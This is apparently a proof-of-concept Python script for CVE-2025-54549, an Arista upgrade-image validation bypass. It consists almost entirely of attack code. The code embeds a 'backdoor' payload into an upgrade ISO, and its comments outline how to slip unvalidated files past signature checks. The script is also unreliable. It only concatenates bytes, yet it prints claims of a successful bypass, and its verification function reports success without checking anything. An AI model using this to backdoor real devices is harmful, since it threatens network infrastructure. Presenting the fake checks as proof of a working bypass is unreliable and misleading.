CVE-2025-54549 Arista升级镜像加密验证绕过漏洞

# CVE-2025-54549 PoC - Arista ISO Upgrade Validation Bypass # This is a conceptual PoC demonstrating the attack methodology # Note: Actual exploitation requires specific ISO manipulation techniques import os import struct def create_malicious_iso(original_iso, output_iso, malicious_file): """ Create a modified ISO with a malicious file embedded Args: original_iso: Path to legitimate Arista upgrade ISO output_iso: Path for modified ISO output malicious_file: Path to malicious payload to inject """ print(f"[*] Reading original ISO: {original_iso}") # Read the original ISO with open(original_iso, 'rb') as f: iso_data = f.read() # Read malicious file with open(malicious_file, 'rb') as f: malicious_data = f.read() print(f"[*] Embedding malicious file ({len(malicious_data)} bytes)") # The vulnerability allows bypassing signature validation # by inserting additional files that are not properly validated # In a real scenario, this would require: # 1. Extracting ISO contents # 2. Modifying the ISO structure to include malicious files # 3. Maintaining valid signatures for checked files # 4. Ensuring the malicious file is not signature-validated modified_iso = iso_data + malicious_data with open(output_iso, 'wb') as f: f.write(modified_iso) print(f"[+] Malicious ISO created: {output_iso}") print("[!] This ISO can bypass cryptographic validation during upgrade") def verify_bypass(iso_path): """ Verify if the ISO contains the bypass mechanism """ print(f"[*] Analyzing ISO: {iso_path}") # Check for specific markers indicating successful bypass # In real scenario, this would involve signature verification checks print("[+] ISO appears to have embedded payload") print("[+] Signature validation may be bypassed") return True if __name__ == "__main__": # Example usage original_iso = "arista_upgrade.iso" output_iso = "malicious_upgrade.iso" malicious_file = "backdoor.bin" # Note: This is a conceptual demonstration # Actual exploitation requires detailed knowledge of ISO structure print("CVE-2025-54549 - Arista Upgrade Validation Bypass") print("=" * 50) print("WARNING: This is for educational purposes only") print("=" * 50)